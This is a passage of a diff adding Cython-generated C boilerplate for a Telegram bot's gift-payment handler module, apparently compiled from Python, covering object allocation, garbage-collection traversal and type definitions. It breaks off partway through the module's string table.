CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_balance); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_price); + Py_CLEAR(p->__pyx_v_selected_months); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_user_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler *)o; + if (p->__pyx_v_balance) { + e = (*v)(p->__pyx_v_balance, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_price) { + e = (*v)(p->__pyx_v_price, a); if (e) return e; + } + if (p->__pyx_v_selected_months) { + e = (*v)(p->__pyx_v_selected_months, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_user_tg_id) { + e = (*v)(p->__pyx_v_user_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_3_confirm_gift_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_3_confirm_gift_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_expiry_time); + Py_CLEAR(p->__pyx_v_gift_id); + Py_CLEAR(p->__pyx_v_gift_link); + Py_CLEAR(p->__pyx_v_price); + Py_CLEAR(p->__pyx_v_selected_months); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_expiry_time) { + e = (*v)(p->__pyx_v_expiry_time, a); if (e) return e; + } + if (p->__pyx_v_gift_link) { + e = (*v)(p->__pyx_v_gift_link, a); if (e) return e; + } + if (p->__pyx_v_price) { + e = (*v)(p->__pyx_v_price, a); if (e) return e; + } + if (p->__pyx_v_selected_months) { + e = (*v)(p->__pyx_v_selected_months, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_spec = { + "handlers.payments.gift.__pyx_scope_struct_4_finalize_gift_handler", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_4_finalize_gift_handler", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code[8]; +static int __pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code[--__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyObject *o) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_hardware_id); + Py_CLEAR(p->__pyx_v_payload); + Py_CLEAR(p->__pyx_v_response); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + Py_CLEAR(p->__pyx_t_6); + Py_CLEAR(p->__pyx_t_7); + Py_CLEAR(p->__pyx_t_8); + Py_CLEAR(p->__pyx_t_9); + Py_CLEAR(p->__pyx_t_10); + Py_CLEAR(p->__pyx_t_11); + Py_CLEAR(p->__pyx_t_12); + Py_CLEAR(p->__pyx_t_13); + Py_CLEAR(p->__pyx_t_14); + Py_CLEAR(p->__pyx_t_15); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code)))) { + __pyx_freelist_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code[__pyx_freecount_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code++] = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *p = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)o; + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_hardware_id) { + e = (*v)(p->__pyx_v_hardware_id, a); if (e) return e; + } + if (p->__pyx_v_payload) { + e = (*v)(p->__pyx_v_payload, a); if (e) return e; + } + if (p->__pyx_v_response) { + e = (*v)(p->__pyx_v_response, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + if (p->__pyx_t_6) { + e = (*v)(p->__pyx_t_6, a); if (e) return e; + } + if (p->__pyx_t_7) { + e = (*v)(p->__pyx_t_7, a); if (e) return e; + } + if (p->__pyx_t_8) { + e = (*v)(p->__pyx_t_8, a); if (e) return e; + } + if (p->__pyx_t_9) { + e = (*v)(p->__pyx_t_9, a); if (e) return e; + } + if (p->__pyx_t_10) { + e = (*v)(p->__pyx_t_10, a); if (e) return e; + } + if (p->__pyx_t_11) { + e = (*v)(p->__pyx_t_11, a); if (e) return e; + } + if (p->__pyx_t_12) { + e = (*v)(p->__pyx_t_12, a); if (e) return e; + } + if (p->__pyx_t_13) { + e = (*v)(p->__pyx_t_13, a); if (e) return e; + } + if (p->__pyx_t_14) { + e = (*v)(p->__pyx_t_14, a); if (e) return e; + } + if (p->__pyx_t_15) { + e = (*v)(p->__pyx_t_15, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_spec = { + "handlers.payments.gift.__pyx_scope_struct_5_validate_client_code", + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.gift.""__pyx_scope_struct_5_validate_client_code", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_1, __pyx_k_1, sizeof(__pyx_k_1), 0, 1, 0, 0}, + {&__pyx_kp_u_21U68SOLOBOT, __pyx_k_21U68SOLOBOT, sizeof(__pyx_k_21U68SOLOBOT), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_CLIENT_CODE, __pyx_k_CLIENT_CODE, sizeof(__pyx_k_CLIENT_CODE), 0, 0, 1, 1}, + {&__pyx_n_u_CRYPTOSALE, __pyx_k_CRYPTOSALE, sizeof(__pyx_k_CRYPTOSALE), 0, 1, 0, 1}, + {&__pyx_n_s_ClientSession, __pyx_k_ClientSession, sizeof(__pyx_k_ClientSession), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, 